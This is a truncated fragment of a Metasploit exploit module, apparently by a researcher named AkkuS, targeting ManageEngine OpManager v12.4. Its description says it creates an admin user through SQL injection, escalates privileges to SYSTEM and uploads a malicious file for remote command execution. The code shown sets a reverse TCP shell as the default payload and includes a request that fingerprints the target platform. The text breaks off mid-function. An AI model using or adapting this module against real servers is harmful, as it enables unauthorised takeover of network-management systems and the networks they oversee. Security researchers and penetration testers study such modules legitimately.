Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. Therefore low authority user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 8060, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'OpManager Username']), OptString.new('PASSWORD', [true, 'OpManager Password']), OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) ],self.class) end def check_platform(host, port, cookie) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred!
